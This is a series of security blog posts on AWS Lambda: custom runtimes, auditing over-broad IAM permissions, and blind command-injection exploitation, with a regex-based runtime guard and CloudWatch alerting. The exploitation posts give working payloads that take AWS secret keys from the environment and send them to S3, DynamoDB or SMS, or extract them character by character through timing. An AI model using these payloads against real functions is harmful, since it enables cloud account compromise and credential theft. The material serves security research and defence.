Thursday, December 6, 2018

Working of Lambda Layers and Runtime

Amazon came up with many innovative and interesting announcements about new technologies and services provided by them during the recent AWS "re:Invent" event. One of the widely discussed topic in the event was "serverless". With the increasing usage of AWS lambda, it is imperative to understand anything that impacts the lambda architecture in any way. The below two announcements were quite important for security professionals as they directly deal with serverless changes and its implications.

Firecracker - Firecracker is Amazon’s micro VM, which runs lambda functions, and it will be open source. Hence, anybody can play around and understand it's working. For more details: - https://aws.amazon.com/blogs/aws/firecracker-lightweight-virtualization-for-serverless-computing/

Lambda Layers and Runtime APIs - Lambda functions allow a holding place in terms of layers. One can deploy set of layers and can execute these layers with Runtime APIs or leverage packages deployed in these layers. For more details: - https://aws.amazon.com/about-aws/whats-new/2018/11/aws-lambda-now-supports-custom-runtimes-and-layers/

In this post, we are going to explore Layers and Runtime APIs.

AWS was supporting a set of runtime environment predefined within lambda functions. With the introduction of Layers and Runtime APIs, that it no longer a limitation. It now supports and allows to load one's own runtime binaries and leverage it across the lambda eco-system. Thus, now support has been added for Ruby, C++, and Rust etc. making it a Bring Your Own Runtime kind of scenario.

Their tutorial (https://docs.aws.amazon.com/lambda/latest/dg/runtimes-walkthrough.html) explains how to configure and invoke one's own runtime through layering and APIs. We are going to modify the scripts mentioned in this tutorial and deploy our runtime through the management console for better understanding.

First, we need to make our own bootstrap to start the activity of lambda functions within shell.  This is the shell script which one can run and initiate any environment and binaries within it. It supports runtime APIs so one can fetch the "event" and pass it to lambda handler.

Here is the sample bootstrap script: -

--bootstrap—

#!/bin/sh

set -euo pipefail

# Initialization - load function handler
echo $_HANDLER >> /tmp/dump
env >> /tmp/dump
source $LAMBDA_TASK_ROOT/"$(echo $_HANDLER | cut -d. -f1).sh"

# Processing
while true
do
  HEADERS="$(mktemp)"
  # Get an event
 
  EVENT_DATA=$(curl -sS -LD "$HEADERS" -X GET "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
  cat $HEADERS >> /tmp/dump
  echo $EVENT_DATA >> /tmp/dump
  REQUEST_ID=$(grep -Fi Lambda-Runtime-Aws-Request-Id "$HEADERS" | tr -d '[:space:]' | cut -d: -f2)
  echo $REQUEST_ID >> /tmp/dump
  # Execute the handler function from the script
  RESPONSE=$($(echo "$_HANDLER" | cut -d. -f2) "$EVENT_DATA")

  # Send the response
  curl -X POST "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/$REQUEST_ID/response"  -d "$RESPONSE"
done


Let’s look at few important lines: -

1.    We are using /tmp/dump to put interesting values to it so we can read them through the function and pass it back as response as well.
2.    "EVENT_DATA=$(curl -sS -LD "$HEADERS" -X GET "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")" – this line will fetch "event" through runtime from underlying localhost (127.0.0.1).
3.    "RESPONSE=$($(echo "$_HANDLER" | cut -d. -f2) "$EVENT_DATA")" – once we have "event" with us we can invoke our own local function and fetch the response. It is like calling another script or you can pass it to any other runtime binaries.
4.    Finally, "curl -X POST "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/$REQUEST_ID/response"  -d "$RESPONSE" – we send response back to the client through runtime API.

We just have to make sure these files are "chmod 755" as shown below: -




We can zip the file to "bootstrap.zip" and create a new layer for lambda.

 

We can upload the zip file and create a runtime layer as below: -



Now, we have runtime-shell layer read. We can utilize this layer/runtime and build many lambda functions using simple shell scripts. Let’s make a function here called "runlambda": -

 

We select "custom runtime" as our environment. Next, let’s load the layer which we want to use: -



As shown in the above screenshot, we pass on ARN to the layer and then it is ready: -



Next, let’s load simple echo function as below (function.sh). We are doing simple cat to the entire dump we collected in the bootstrap along with the event.

--function.sh--

function handler () {
  EVENT_DATA=$1
  echo "$EVENT_DATA" 1>&2;
  cat /tmp/dump
  RESPONSE="Echoing request: '$EVENT_DATA'"
  echo $RESPONSE
}


Next, we can load this function as zip to the lambda function as shown below: -


All set! We can invoke the function as below: -

 

We can also invoke the function through our script (scanLambda.py) as below: -

 

We are getting a dump of all the variables available in the bootstrap layer: -

 

Above, we have cURL calls made to APIs.



Finally, we have echo coming back from the function itself.

Conclusion:

Lambda Layers and Runtime APIs enable the use of binaries or shell scripts as well as our choice of programming languages. Moreover, one can centrally manage common components across multiple functions enabling better code reuse. This implementation will have its own set of security concerns as well – thus making it necessary to understand the customized layers and runtime APIs before evaluating the function from a security standpoint.

Article by Amish Shah & Shreeraj Shah

Tuesday, November 27, 2018

Lambda Post Exploitation – Devil in the Permission

In the last blog post, we covered an exploit scenario where an attacker could get access to all the resources which were part of the AWS account once a vulnerability was identified in a lambda function. A weak implementation of permission controls led to the above mentioned exploit scenario. We concluded the following: -

“The permission controls implemented for lambda functions may not seem critical while executing the lambda function stand-alone or by looking at the features or from a developer standpoint but it might turn out to be catastrophic for the overall AWS infrastructure because of a combination of vulnerabilities.  It would not only lead to a compromise of the lambda function or backend details but would impact the overall application residing on that particular account. Who knows? – An attacker may end up getting access to secret buckets, sensitive DynamoDB tables, EC2 backups and files etc. Thus, permission controls should be well implemented across the complete infrastructure and not stand-alone lambda functions. We will cover more on permission structures and issues in the coming blog posts.”

All AWS resources (including lambda functions) are owned by an AWS account, and permissions to access these resources are decided through permission policies. It is necessary to understand these permission models and grant proper permissions for all resources. A detailed explanation of AWS permissions is available here: - https://docs.aws.amazon.com/lambda/latest/dg/intro-permission-model.html#lambda-intro-execution-role.

In our case, the following diagram shows the implementation of the lambda function: -

Let's look at the permission for the target function. We can quickly run our enumeration utility and extract important information about the function as below: -

bliss$python3 enumLambda.py -f processInvoice

==============================================================
enumLambda - Lambda Function Enumeration Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+) Fetching Lambda function processInvoice...
       (+) Platform: python3.6
       (+) Permission: arn:aws:iam::313588302550:role/lambda+s3+dynamo
       (+) Permission Policy: lambda+s3+dynamo
        ==> [{"Effect": "Allow", "Action": "s3:*", "Resource": "*"}]
        ==> [{"Effect": "Allow", "Action": ["dynamodb:DescribeStream", "dynamodb:GetRecords", "dynamodb:GetShardIterator", "dynamodb:ListStreams", "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents"], "Resource": "*"}]
        ==> [{"Effect": "Allow", "Action": ["logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents"], "Resource": "*"}]
       (+) xRay-Tracing: PassThrough
       (+) Code-Location: https://awslambda-us-east-2-tasks.s3.us-east-2.amazonaws.com/snapshots/31-----550/processInvoice-f97f48d6-8168---de-9587-a23ceb11c1a4?versionId=a4R0s_z9CyaEodMKd3gD5341&X-Amz-Security-Token=FQoGZXIvYXdzEJv%2F%2F%2F%....
---Function Mapping---
[{'UUID': '7dbec14c-64ce-00e5-92ae-465057ccb435', 'BatchSize': 10, 'EventSourceArn': 'arn:aws:sqs:us-east-2:313588302550:processInvoice', 'FunctionArn': 'arn:aws:lambda:us-east-2:313588302550:function:processInvoice', 'LastModified': datetime.datetime(2018, 8, 14, 11, 7, 44, 705000, tzinfo=tzlocal()), 'State': 'Enabled', 'StateTransitionReason': 'USER_INITIATED'}]
---Function Policy---
    (-)Error: An error occurred (ResourceNotFoundException) when calling the GetPolicy operation: The resource you requested does not exist.
bliss$


We are interested in the permissions assigned to the execution role for the lambda function. It is as below: -

 (+) Permission Policy: lambda+s3+dynamo
        ==> [{"Effect": "Allow", "Action": "s3:*", "Resource": "*"}]
        ==> [{"Effect": "Allow", "Action": ["dynamodb:DescribeStream", "dynamodb:GetRecords", "dynamodb:GetShardIterator", "dynamodb:ListStreams", "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents"], "Resource": "*"}]
        ==> [{"Effect": "Allow", "Action": ["logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents"], "Resource": "*"}]


Here, S3 is completely accessible both in terms of "Action" as well as "Resource": –

{"Effect": "Allow", "Action": "s3:*", "Resource": "*"}


Wildcard "*" implies full access, which means that we can access content of all S3 buckets within the account. In the last post, we saw the below script, which concluded the same thing.

The same law is applicable to DynamoDB since it has similar blocks of permissions assigned.

Here is a simple way to identify permission issues through the scanLambda.py script from the lambdaScanner toolkit.

 Conclusion:

The implementation and assignment of permission controls should be decided properly before the deployment of lambda functions. The permissions should be limited to the use cases – if a lambda function needs access to one S3 bucket with only read functionality, then both its "Action" and "Resource" should be defined accordingly. When "*" is assigned, it would lead to complete access of resources – which would be a critical exploit scenario leading to hijacking of all resources of the account. To avoid or limit this damage, it is imperative to do proper permission modelling of the resources. Though, the first step to security is not to have any vulnerability in the lambda function which can lead to such exploit scenarios. For such security, it is necessary to do input validation before the event stream is consumed by the lambda function.

Article by Amish Shah & Shreeraj Shah

Tuesday, October 30, 2018

Blind Lambda Event Injections without Outbound Connections (Part 3) – Extracting AWS Building Blocks

Lambda functions, integrated with various AWS components according to the design of serverless applications, can be a medium of various exploit scenarios if vulnerable. As discussed in the previous blog posts, a vulnerability in a lambda function (with or without outbound connections) can be identified through various methods. In this blog post, we will discuss the exploit scenarios which come into play once the vulnerability in the lambda function has been identified. Below are two major exploit area's: -

1.    Exploiting Backend – We use different methods (enumeration, tracing, fuzzing etc.) to identify that the lambda function is vulnerable to SQL injection. Once the vulnerability is identified, we inject attacks to exploit the vulnerability and fetch information about the back-end database, its tables etc. In this scenario, we are just leveraging and exploiting the weakness of the lambda function and not touching any other components in the overall infrastructure design.

2.    Exploiting AWS Components – We use different methods (enumeration, tracing, fuzzing etc.) to identify the overall architecture and information about the components integrated with serverless functions. Once the vulnerability is identified (for example command injection), we inject payloads to exploit the vulnerability and steal critical information like access keys/tokens/secret etc. Using this information we can try and access other components like S3 buckets in the serverless infrastructure (assuming that the infrastructure has poor permission controls). We will look at an exploit scenario that would arise by the combination of these two vulnerabilities – injection + poor permission controls.

Of course, there can be other areas beyond the ones mentioned above, which can also be exploited through leveraging information leaked from lambda functions.

Let’s take a simple use case that we used in a previous blog: - There is an invoice processing system where a user submits an invoice (by uploading a file, providing the file name, other basic information etc.) through an API gateway. Some activities are then triggered across other AWS components like S3 and DynamoDB and the message to queue the invoice processing gets posted to Amazon SQS service for asynchronous processing.


As discussed in the previous blog, when the lambda function is vulnerable to command injection, the function allows to extract parameters from the shell in which the lambda function is running. An attacker can simply inject a payload to set or extract environment variables and fetch the below parameters from shell: -

aws_access_key_id
aws_secret_access_key
aws_session_token

It is possible to extract these parameters via vulnerable lambda functions (with and without outbound connections).
Without outbound connection (here)
With outbound connection (here)

It is also imperative to understand permission structure of the lambda function within AWS. These three parameters hold a key, which can be considered as a permission token. Whatever permission is assigned to the lambda function is mapped to these tokens "temporarily". The tokens might be valid for few hours, after which they are refreshed – once refreshed, the tokens need to be grabbed again.

In this case, the lambda function interacts with AWS S3 (Bucket 1) as shown in the above figure. We do not know the permission controls implemented for the lambda function and S3 resources. We execute the below script (the tokens fetched above are passed for authentication/authorization purposes) to enumerate S3 buckets and their content for this account and find out: -



Bingo! As we can see below, we were able to list all S3 buckets and their content. Why? It seems that the lambda function might have access to all S3 buckets.



Further, we can now enumerate and fetch secret files from inside the buckets. We can even end up writing to the buckets, depending on the permissions. Let’s try to fetch a file using the below script: -

 

The above script establishes a connection with the extracted tokens and tries to fetch the file.

We are also successful in fetching the file. This file should not be accessible to us but we end up having it.

Hence, here we are successful in exploiting the vulnerability due to poor permission controls.

 

 Conclusion:

The permission controls implemented for lambda functions may not seem critical while executing the lambda function stand-alone or by looking at the features or from a developer standpoint but it might turn out to be catastrophic for the overall AWS infrastructure because of a combination of vulnerabilities.  It would not only lead to a compromise of the lambda function or backend details but would impact the overall application residing on that particular account. Who knows? – An attacker may end up getting access to secret buckets, sensitive DynamoDB tables, EC2 backups and files etc. Thus, permission controls should be well implemented across the complete infrastructure and not stand-alone lambda functions. We will cover more on permission structures and issues in the coming blog posts.

Article by Amish Shah & Shreeraj Shah

Wednesday, October 24, 2018

Blind Lambda Event Injections without Outbound Connections (Part 2)

In the previous blog post (here), we covered a simple technique to both discover and exploit serverless/lambda functions at blind spots without outbound connections in place. We concluded the following at the end of the article: - “It is imperative to identify injection points and fix the vulnerabilities at the source rather than relying on deploying ‘post exploitation’ solutions like blocking traffic or other OS level calls. Once a vulnerability is identified, an attacker can always find ways to mount attacks and exploit the identified vulnerability.”

As we have seen earlier, lambda functions, which are integrated in serverless applications, are not usually isolated and consume events from various components like Amazon S3, DynamoDB, SNS etc. as shown in the below figure. In this article, we will look into how an attacker can leverage serverless applications and components integrated to the functions to fetch information and detect vulnerabilities in spite of blocked outbound connections.

 

For this scenario, let's assume that the lambda function is integrated with various Amazon components according to the design pattern of serverless applications. We can enumerate the lambda function and identify which components are integrated with the function (an outbound connection is not required). Once the component is identified, we can use customized payloads according to the component for various use cases and check the results.

We have the following code in place – which processes the 'exec' command for fetching 'key3'. We are blindly checking for a command execution vulnerability in this piece of code, where the lambda function does not have any outbound connection.

def lambda_handler(event, context):
     …

     …

        exec(event['key3']);
     …


We will be passing the below payload or stream to the function in a normal scenario: -

{

"key3": "3";

}


Let’s take different use cases/design patterns for serverless applications and see how it can be leveraged during post exploitation.

Writing to Amazon S3

We can inject the below payload and push environment variables to the known-bucket. We can say that the command is successfully executed if the variables are written and we can read them all (no outbound connection is required).

{

"key3": "3; a = os.environ; import boto3; s3 = boto3.client('s3'); s3.put_object(Bucket=’known-bucket', Key=’known-bucket’, Body=str(a))",

}


Writing to Amazon DynamoDB


In the same manner as above, we can inject the below payload and check for successful execution of the command if the environment variables are written to the known-and accessible dynamodb (access via some other use case).

{

 "key3": "3; a = os.environ; import boto3; ddb = boto3.resource('dynamodb'); table = ddb.Table('known-location'); table.put_item(Item={'LocationId':4, 'Data': str(a)})",

}


Sending via SMS

We can inject the below payload and push environment variable like "access key" via SMS service to a specific number (no outbound connection is required)


{

 "key3": "3; a = os.environ['AWS_ACCESS_KEY_ID']; b = os.environ['AWS_SECRET_ACCESS_KEY']; import boto3; snsmsg = boto3.client('sns'); snsmsg.set_sms_attributes(attributes={'DefaultSMSType': 'Transactional'}); snsmsg.publish(PhoneNumber='+NUMBER’, Message=str(a+':'+b))",

}  
 

Conclusion:

We discussed three use cases in this post, but there might be more since lambda functions need to interact with several components across the AWS eco-system. The best practice to fix vulnerabilities is by resolving the vulnerabilities with secure coding practices and protecting against incoming malicious event streams. "Post-exploitation" solutions end up providing a sense-of-security but are not reliable defense solutions for protecting lambda functions.

Article by Amish Shah & Shreeraj Shah

Tuesday, October 16, 2018

Blind Lambda Event Injections without Outbound Connections

Serverless functions, like AWS Lambda, have similar injection opportunities as in traditional applications, API's and other components. It is usually difficult to identify blind spots and exploit this kind of vulnerabilities, though there are various tools and methods available to identify these blind spots. The most common methods to identify these issues are timing attacks and logical deduction scenarios using AND/OR operators. In many cases, we inject payloads which create an outbound connection and send data back to us through some channel. This kind of scenario confirms the vulnerability and can be exploited further. But there are cases where outbound connections are blocked, and the application does not send any clue in the response for identification of the vulnerability; which makes it a blind spot. The below image shows both the scenarios: -

 

Here is an example that we covered in an earlier post (here), where we injected a payload in the event stream of the lambda function and harvested the access key using an outbound connection.

 


Now, let's assume that we don't have this outbound connection in place. The lambda function blocks the connection. Not allowing an outbound connection can be considered as obfuscation and sense-of-security in place. It is possible to identify and exploit this type of scenario by considering it as a blind spot. Let’s try a timing attack to identify the spot and logical deduction to exploit the scenario.

We make a simple invocation to the function with a legitimate request as shown below: -

{
  "Records": [
    {
      "body": "invoice-98790",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


When we invoke the function we get the following response: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 72808401-cea9-11e8-903a-4506277d6e70
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 72808401-cea9-11e8-903a-4506277d6e70 Version: $LATEST
END RequestId: 72808401-cea9-11e8-903a-4506277d6e70
REPORT RequestId: 72808401-cea9-11e8-903a-4506277d6e70    Duration: 56.36 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 26 MB 
  

The above response shows that the time for this execution is Duration: 56.36 ms.

Now let us try to inject simple sleep command and see the variation in response time.

{
  "Records": [
    {
      "body": "invoice-98790;sleep 1",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We have put sleep of "1" second here in the payload ("body": "invoice-98790;sleep 1",)
We get the following response after invoking the function: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 58d200b7-ceaa-11e8-88c6-675555b6bf64
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64 Version: $LATEST
END RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64
REPORT RequestId: 58d200b7-ceaa-11e8-88c6-675555b6bf64    Duration: 1123.26 ms    Billed Duration: 1200 ms     Memory Size: 128 MB    Max Memory Used: 26 MB


Here, we can see that it took almost 1 second more in responding back (Duration: 1123.26 ms). Hence, we can easily deduce that there is a blind spot and go on with playing around this vulnerability.

Since we don’t have an outbound connection in place, how we can get hold of the AWS key like we got using curl in previous case? Hence, we need to deploy a deduction technique and try to fetch it with multiple attempts.

Let’s try that out with the following payload in the body: -

invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'A' ]; then sleep 1; fi

Here, we are getting first character of the key and comparing it with 'A'. If it matches then we should get a sleep of 1 second else response should take regular time.

Let’s pass this message and invoke the function.

{
  "Records": [
    {
      "body": "invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'A' ]; then sleep 1; fi",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We get the following output after invocation: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc Version: $LATEST
END RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc
REPORT RequestId: 67b0f5c9-ceab-11e8-9576-0ff8426cf2fc    Duration: 1108.62 ms    Billed Duration: 1200 ms     Memory Size: 128 MB    Max Memory Used: 26 MB  
 


Bingo! As you can see we actually got a proper delay of 1 second (Duration: 1108.62 ms) in this case. Hence, we can say that the first character of the AWS key is indeed 'A'.

To verify, let’s send the same request with character 'B' as below: -

{
  "Records": [
    {
      "body": "invoice-98790;foo=`echo $AWS_ACCESS_KEY_ID|cut -b 1`;if [ $foo == 'B' ]; then sleep 1; fi",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We get the following response: -

bliss$python3 scanLambda.py -i -f processInvoice -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> becf34b6-ceab-11e8-aeb2-17378d1ed705
    (-) Response ==>
    (-) "Invoice processing done!"
    (-) Log ==>START RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705 Version: $LATEST
END RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705
REPORT RequestId: becf34b6-ceab-11e8-aeb2-17378d1ed705    Duration: 106.76 ms    Billed Duration: 200 ms     Memory Size: 128 MB    Max Memory Used: 27 MB   


In this case response time is far less, approximately 1 second less (Duration: 106.76 ms). Hence, we can conclude that the value of the first character is 'A' and not any other.

This way we can send multiple requests and harvest full value of the AWS key without any outbound connection.

Conclusion:

It is imperative to identify injection points and fix the vulnerabilities at the source rather than relying on deploying "post exploitation" solutions like blocking traffic or other OS level calls. Once a vulnerability is identified, an attacker can always find ways to mount attacks and exploit the identified vulnerability.


Article by Amish Shah & Shreeraj Shah

Tuesday, October 9, 2018

Runtime Lambda Protection (Part 3) – "Self-Inspection"

Serverless functions, like AWS Lambda, are uniquely placed and transient in nature. These functions need a non-standard approach for both pentesting as well as defense. In the past blogs, we have covered the following two aspects for protecting lambda functions using the 'protectLambda' utility of the 'lambdaScanner' toolkit (can be downloaded from here).

1.    Runtime Lambda Protection – "Self Defense" from Inside (here)
2.    Runtime Lambda Protection (Part 2) – Monitoring, Analytics and Alerts (Real-Time) (here)

In this blog, we will be describing an enhancement of the 'protectLambda' utility through which we can validate the code of the lambda function just before its execution and allow/deny the execution of the function on the results of this validation. We can define a regular expression to check for loopholes in the code of the lambda function – every time the code would be checked against this regex and the execution of the function would be denied if a security violation is detected in the code. Below is a basic diagram of how the module of the 'protectLambda' utility will be placed in the overall architecture of the application; right before the execution of the function.

 

 

Leveraging "code_protect" Module:

In order to leverage this module, one needs to include the 'protectLambda' utility to their project. 'protectLambda' will wrap around the lambda function and monitor both incoming events as well as outgoing steams (described in earlier blog posts) and check the code of the function, at runtime, before its execution. This can be achieved by defining a regex in the file called "code_protect.txt" as shown in the figure below: -



One can define a set of rules, via regex, which will get validated before execution of the function at runtime. Hence, it will be like performing SAST at runtime.

For example, we define the following rule in "code_protect.txt": -

.*(call|check_output|system|popen|run|local|spawn).*\(.*

This rule will not allow the developer to use API/code, which can be used to run underlying command execution. We are covering most of the combinations of calls via above regular expression.

Let’s assume we have a function where developer is using the following line of code.

filetype = subprocess.check_output(command,shell=True).decode("utf-8")

Now, we have added the 'protectLambda' utility to the lambda function as shown below: -

 

If we try to invoke the lambda function now, we will get the following response: -

Response:
"Security Violation..."


Request ID:
"e9b59241-cbb5-11e8-ac44-058b44f83258"

Function Logs:
START RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258 Version: $LATEST
Code Rule violation for  .*(call|check_output|system|popen|run|local|spawn).*\(.*
END RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258
REPORT RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258    Duration: 88.89 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 22 MB  

Outcome/response of the function execution was as below: -

Response:
"Security Violation..."


We got a security violation alert since the developer has violated the rules of coding (according to the defined regex) and dangerous APIs/calls are used. In this case, we will also see the following line in the log: -

START RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258 Version: $LATEST
Code Rule Violation for .*(call|check_output|system|popen|run|local|spawn).*\(.*

In this way, the 'protectLambda' utility protects the execution of the function if the code is vulnerable using the rules defined through "code_protect.txt". Similar protection for the incoming event stream and outgoing responses through "in_protect.txt" and "out_protect.txt" respectively was discussed in an earlier blog post.

Conclusion:


The nature of lambda functions and the method through which the functions are triggered make the traditional defense solutions inappropriate for serverless functions. So, as the first line of defense, the 'protectLambda' utility can guard against the code of the function, incoming stream of events as well as outgoing responses through a pre-defined set of rules. This defense technique along with a proper logging and monitoring mechanism would be a comprehensive approach for the protection of lambda functions at run-time.

Article by Amish Shah and Shreeraj Shah

Friday, September 21, 2018

Runtime Lambda Protection (Part 2) – Monitoring, Analytics and Alerts (Real-Time)

In the last blog, we discussed about how traditional defense solutions are not sufficient for protection of lambda functions and how 'protectlambda', a small utility from the 'lambdaScanner' toolkit, can be used to guard incoming as well as outgoing stream through a set of predefined rules. Please refer to http://blog.blueinfy.com/2018/09/runtime-lambda-protection-self-defense.html (here) for more details. 

In this blog post, we are going to build over the 'protectLambda' function to set up a strong real time monitoring, analytics and alerts capability using Amazon CloudWatch. Amazon CloudWatch, a component of AWS that collects monitoring and operational data in form of logs, metrics, graphs and events, provides a unified view for AWS resources and applications running on AWS infrastructure. Moreover, CloudWatch allows to customize and set filters, triggers, alarms to troubleshoot issues and take automated actions. As shown in the below figure, all these functionalities can be leveraged to set up real time analysis of the lambda functions.


As discussed in the last blog post, we can introduce the 'protectLambda' utility for lambda functions, define a set of rules for the event stream and the outgoing stream and then monitor and track the logs for rule violations using CloudWatch. A customized dashboard can be created to monitor logs based on filters, correlate logs and metrics, view data in graphs and set alerts with CloudWatch alarms. This dashboard can then be leveraged for real time monitoring of the attacks on lambda functions and for checking how these attacks are blocked by the 'protectLambda' utility. Alarms and notifications can be configured to inform the team of attack on lambda functions and violations of pre-defined rules.

Below is an example for creating a dashboard by defining basic filters, graphs and alarms: -

1.    Setting up Metric Filters on lambda function logs

We can define filters, using the Logs Metric Filter, for specific log groups. In this case, we are creating a filter for the records logged from the 'protectLambda' function (the function added to protect the incoming and outgoing stream of the lambda functions through a set of predefined rules). The 'protectLambda' function blocks the event stream and outgoing response according to a defined regex and logs a "Violation" entry as and when it blocks something. Thus, we define a filter for the word "Violation" which will keep tracking for the word "violation" in this group of logs. This metrics can later be plotted on a graph.

 

2.    Build Dashboard and Graphs

The metrics from the above filter can be plotted on a graph as shown below. The graph show the number of instances of violations defended by the 'protectLambda' utility.



3.    Setup Alarms, Alerts and Notification

We can create attack notification alarms for the created metric filters as shown below. In this case, we have created an alarm for the filter 'protectLambda' which looks for the word "violation" in the selected log group.


We can define a rule where an alarm notification will be triggered as soon as we get one instance of attack in a specific window of 5 minutes.

 

Thus, we can see that as soon as a lambda function is attacked and 'protectLambda' defends an attack on the function we get a notification on our dashboard.

 

We can also configure to receive these notifications in email or on the CloudWatch mobile application as shown below.

(email notification and alert)


(mobile app)
 
Looking at the inbuilt capabilities of CloudWatch, there is no need to set up and create a dashboard on a different domain. The provided functionalities can be easily leveraged to monitor the lambda functions, analyse logs in real time and in turn perform the required actions depending on the analysis.